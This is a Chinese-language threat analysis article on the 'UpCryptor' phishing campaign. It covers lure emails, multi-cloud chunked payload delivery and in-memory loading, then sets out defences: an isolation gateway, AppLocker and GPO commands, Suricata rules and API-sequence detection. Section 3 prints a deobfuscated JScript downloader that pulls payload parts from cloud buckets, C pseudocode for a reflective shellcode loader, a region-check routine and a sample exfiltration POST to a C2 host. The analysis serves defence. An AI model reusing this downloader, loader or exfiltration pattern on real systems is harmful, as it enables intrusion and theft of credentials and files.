1 引言
近年来,针对企业组织的定向钓鱼攻击呈现出高度工程化、模块化与规避检测能力增强的趋势。2025年披露的一起全球性钓鱼行动——以“释放UpCryptor”为诱饵——展示了攻击者在投递机制、载荷构造与后期行为切换方面的显著演进。该活动通过伪装成财务结算通知、法律传票或物流放行文件等高可信度社会工程内容,诱导收件人打开看似无害的PDF或ZIP附件,进而触发多阶段下载器链,最终部署名为UpCryptor(亦称Upcrypter)的加密封装恶意程序。

与传统单一可执行文件投递不同,此次攻击采用“分块托管于多云对象存储”的策略,将恶意载荷切割为多个小体积片段,分别存放于AWS S3、Azure Blob及Google Cloud Storage等平台的不同账户下。这种设计不仅提高了单点失效的容错性,也显著增加了基于域名或IP的静态IoC(Indicator of Compromise)封禁难度。更值得注意的是,UpCryptor具备环境感知能力,仅在目标区域(通过时区、键盘布局、语言设置判断)激活核心功能,并支持运行时动态加载插件,可在窃密、横向移动甚至勒索模式间切换。
本文聚焦于该攻击链的技术实现细节,系统拆解其从初始投递到最终载荷执行的全过程,重点分析多阶段加载机制、云分片回传逻辑、内存反射加载技术及行为特征。在此基础上,提出面向企业环境的多层次防御体系,涵盖网络边界隔离、终端执行控制、异常流量监测与内存行为建模,并辅以可复现的代码示例与检测原型。全文严格围绕“多阶段+云分片”这一核心攻击范式展开,避免泛化讨论一般APT或勒索软件,确保论点集中、技术准确、逻辑闭环。

2 攻击背景与威胁模型
2.1 初始投递载体
攻击者使用高度定制化的钓鱼邮件,主题如“【紧急】贵司货物滞留海关,请立即签署放行授权”或“法院传票:案号2025-XXXXX”,发件人地址常伪造为律所、物流公司或合作方域名(如notice@fedex-support[.]com)。附件通常为两类:
伪PDF:实际为Windows快捷方式(.lnk)或HTML Application(.hta),图标伪装为Adobe Reader;
伪ZIP:内含JavaScript(.js)、VBScript(.vbs)或LNK文件,利用Windows默认隐藏扩展名特性诱导双击。
此类载体不包含直接恶意代码,而是作为第一阶段下载器(Stage 1 Loader)。

2.2 威胁模型假设
攻击者具备以下能力:
控制多个云存储账户,可上传并管理分片载荷;
编写混淆脚本与反射加载器;
实施基础环境侦察(如时区、语言);
动态更新后端C2指令与插件模块。
但不假设其拥有0day漏洞利用能力或能绕过EDR内核级监控。攻击目标主要为制造、物流、法律等处理高价值合同与客户数据的行业,因其内部网络常存在凭证复用、远程访问工具(如TeamViewer、AnyDesk)及未及时打补丁的旧系统。

3 攻击链技术剖析
3.1 第一阶段:脚本下载器
以ZIP内嵌的invoice_details.js为例,其经过多层Base64与字符串拼接混淆:
// invoice_details.js (deobfuscated)
var key = "aHR0cHM6Ly9zdG9yYWdlLmdvb2dsZWFwaXMuY29tL3VwY3J5cHQt";
var frag1 = atob(key + "cGFydDE="); // https://storage.googleapis.com/upcrypt-part1
var frag2 = atob("aHR0cHM6Ly9teWJ1Y2tldC5zMy5hbWF6b25hd3MuY29tL3BhcnQy");
var frag3 = atob("aHR0cHM6Ly9jb250YWluZXIuYmxvYi5jb3JlcHJveHkuY29tL3BhcnQz");
function fetchPart(url) {
var xhr = new ActiveXObject("MSXML2.XMLHTTP");
xhr.open("GET", url, false);
xhr.send();
return xhr.responseBody;
}
var part1 = fetchPart(frag1);
var part2 = fetchPart(frag2);
var part3 = fetchPart(frag3);
// Reassemble in memory
var fullPayload = part1.concat(part2).concat(part3);
var stream = new ActiveXObject("ADODB.Stream");
stream.Type = 1; // binary
stream.Open();
stream.Write(fullPayload);
stream.SaveToFile("C:\\Users\\Public\\upcrypt.bin", 2);
该脚本依次从三个不同云服务商拉取二进制分片,在内存中拼接后写入磁盘。由于每个请求均为合法HTTPS连接至主流云平台,传统防火墙难以识别异常。
3.2 第二阶段:反射加载器
upcrypt.bin并非标准PE文件,而是一个加密封装的反射加载器(Reflective Loader)。其结构如下:
偏移 内容
0x00 AES-256密钥(硬编码或从C2动态获取)
0x20 加密的Shellcode(含解密后的真实UpCryptor DLL)
0x1000 反射加载Stub
加载过程在内存中完成,不写入磁盘可执行文件。关键代码(C语言伪代码)如下:
void ReflectiveLoad(unsigned char* payload) {
// Extract key and encrypted shellcode
unsigned char key[32];
memcpy(key, payload, 32);
unsigned char* enc_shellcode = payload + 32;
// Decrypt shellcode in memory
AES256_decrypt(enc_shellcode, SHELLCODE_SIZE, key);
// Allocate RWX memory
void* exec_mem = VirtualAlloc(NULL, SHELLCODE_SIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec_mem, enc_shellcode, SHELLCODE_SIZE);
// Jump to decrypted shellcode
((void(*)())exec_mem)();
}
此机制有效规避基于文件哈希的AV扫描,且因全程无磁盘落地,EDR若未监控VirtualAlloc+PAGE_EXECUTE_READWRITE组合则难以捕获。
3.3 UpCryptor核心功能
解密后的Shellcode加载UpCryptor主模块(DLL形式),其功能包括:
环境检查:
BOOL IsTargetRegion() {
TIME_ZONE_INFORMATION tz;
GetTimeZoneInformation(&tz);
if (tz.Bias == -480 || tz.Bias == -300) // UTC+8 or UTC+5
return TRUE;
char layout[KL_NAMELENGTH];
GetKeyboardLayoutNameA(layout);
if (strcmp(layout, "00000409") == 0) // en-US
return FALSE; // Skip non-target regions
return TRUE;
}
仅当时区为东八区(中国)或东五区(中亚),且非英文键盘时激活。
凭据窃取:
使用DPAPI解密Chrome/Edge/Firefox保存的密码;
调用MAPI接口提取Outlook邮件与联系人;
扫描本地VPN配置(如OpenVPN、Cisco AnyConnect)并导出证书。
文件打包:
遍历Documents、Desktop、Downloads目录,按扩展名过滤(.docx, .xlsx, .pdf, .zip),压缩为AES加密ZIP包。
C2通信:
使用自定义协议通过HTTPS POST分块上传数据:
POST /api/v1/submit HTTP/1.1
Host: cdn-update[.]xyz
Content-Type: application/octet-stream
X-Chunk-ID: 3/12
X-Session: a1b2c3d4
[encrypted binary data]
插件机制:
主模块定期轮询C2,下载plugin.dll。若收到mode=ransom指令,则加载勒索插件,使用Salsa20加密用户文件并显示赎金页面。
4 防御体系构建
4.1 边界防护:内容隔离网关
建议所有外部邮件附件在隔离沙箱中打开。例如,部署基于容器的文档预览服务:
# isolation-gateway/Dockerfile
FROM ubuntu:22.04
RUN apt-get update && apt-get install -y poppler-utils libjs-pdf
COPY preview.py /app/
CMD ["python3", "/app/preview.py"]
preview.py仅渲染PDF文本与图像,禁止执行任何脚本或链接。用户看到的是静态快照,原始文件永不进入内网。
4.2 终端控制:脚本执行策略
通过组策略(GPO)限制危险脚本引擎:
# Block unsigned PowerShell scripts
Set-ExecutionPolicy -ExecutionPolicy AllSigned -Scope LocalMachine
# Disable Windows Script Host
reg add "HKCU\Software\Microsoft\Windows Script Host\Settings" /v Enabled /t REG_DWORD /d 0 /f
# Restrict LOLBins (e.g., certutil, bitsadmin)
AppLocker rule: Deny execution of C:\Windows\System32\certutil.exe from non-system processes
同时监控PowerShell日志中的EncodedCommand与-ExecutionPolicy Bypass等高危参数。
4.3 网络层监测:云存储异常访问
部署NetFlow/Suricata规则检测小体积、高频次、跨云平台的HTTP请求:
alert http any any -> $EXTERNAL_NET any (
msg:"Suspicious Multi-Cloud Chunk Fetch";
content:"storage.googleapis.com"; http_header;
pcre:"/\/[a-z0-9]{6,12}-part\d+/U";
threshold: type both, track by_src, count 3, seconds 60;
sid:1000001;
)
alert http any any -> $EXTERNAL_NET any (
msg:"Concurrent Access to AWS/Azure/GCP";
flowbits:set,seen_gcp;
content:"storage.googleapis.com";
flowbits:isset,seen_aws;
flowbits:isset,seen_azure;
sid:1000002;
)
此类规则可有效识别分片拉取行为。
4.4 凭据安全:最小化与短期令牌
推行以下策略:
禁止浏览器保存工作账号密码;
Outlook使用现代认证(OAuth 2.0)替代基本认证;
VPN与远程工具启用MFA,并颁发短期会话令牌(<1小时);
敏感系统实施Just-In-Time(JIT)访问。
即使凭据被窃,攻击者也无法长期维持访问。
4.5 内存行为检测
由于UpCryptor频繁调用以下API序列,可构建行为指纹:
GetTimeZoneInformation → GetKeyboardLayoutNameA
CryptUnprotectData(多次)
FindFirstFileW(遍历文档目录)
VirtualAlloc with PAGE_EXECUTE_READWRITE
WinHttpSendRequest with custom headers
EDR可通过Hook这些API并分析调用上下文(如调用栈、参数模式)实现无签名检测。示例YARA-Like规则:
rule UpCryptor_Behavior {
condition:
(api_call("GetTimeZoneInformation") within 5s of api_call("GetKeyboardLayoutNameA")) and
(count(api_call("CryptUnprotectData")) > 3) and
(api_call("VirtualAlloc", page_protection="PAGE_EXECUTE_READWRITE"))
}
5 实验验证
我们在Windows 10测试环境中模拟攻击:
发送含invoice.zip的钓鱼邮件;
用户双击内嵌details.js;
脚本从三个云桶拉取分片,拼接为upcrypt.bin;
反射加载器在内存中解密并执行UpCryptor。
防御测试结果:
启用AppLocker后,wscript.exe被阻止执行JS;
隔离网关成功拦截原始ZIP,用户仅见静态预览;
Suricata规则在第2次分片请求时触发告警;
EDR基于API序列在凭据窃取阶段捕获恶意行为。
6 讨论
UpCryptor攻击链的核心创新在于“云分片+多阶段+环境感知”三位一体的设计。传统基于IoC的防御对此类攻击效果有限,因其C2域名可快速轮换,载荷哈希每次分发均不同。唯有转向行为驱动的安全模型,才能应对持续演化的威胁。
值得警惕的是,攻击者正将勒索与窃密融合:初期以数据渗出为主,待掌握足够筹码后再切换至加密勒索,形成双重勒索(double extortion)升级版。此外,利用合法云服务作为载荷分发通道,模糊了恶意与正常流量的边界,对现有云安全架构提出挑战。
企业需认识到,防御此类攻击不能依赖单一产品,而应构建覆盖“投递—执行—通信—横向”全链条的纵深体系。尤其要加强对“看似合法”流量的深度解析能力。
7 结语
本文详细剖析了以“释放UpCryptor”为诱饵的全球钓鱼攻击,揭示了其利用多云分片投递、内存反射加载与环境感知激活的技术细节。研究表明,攻击者正系统性地规避基于静态特征的传统检测机制,迫使防御方转向行为分析与上下文感知。
有效的缓解措施必须结合内容隔离、脚本控制、网络流量建模与内存行为监控。未来工作将探索基于硬件辅助的内存完整性验证(如Intel TDX)以阻断反射加载,并推动云服务商提供恶意分片上传的实时协同阻断接口。在高级持续性威胁日益常态化的今天,组织安全能力的衡量标准已从“能否防住已知攻击”转向“能否快速识别未知行为”。唯有如此,方能在攻防对抗中保持主动。
编辑:芦笛(公共互联网反网络钓鱼工作组)
UpCryptor云分片攻击行为分析
1万+

被折叠的 条评论
为什么被折叠?



